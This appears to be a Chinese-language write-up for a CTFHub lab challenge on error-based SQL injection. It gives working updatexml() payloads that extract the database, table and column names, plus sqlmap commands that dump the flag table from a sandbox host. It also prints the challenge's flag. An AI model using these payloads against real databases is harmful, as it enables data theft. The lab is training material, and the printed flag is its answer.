CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
jiayou6415 小时前
KingbaseES 实战:深度解析数据库对象访问权限管理
数据库
李广坤1 天前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
爱可生开源社区2 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1773 天前
《从零搭建NestJS项目》
数据库·typescript
西岸行者3 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
加号33 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏3 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐3 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再3 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
starlaky3 天前
Django入门笔记
笔记·django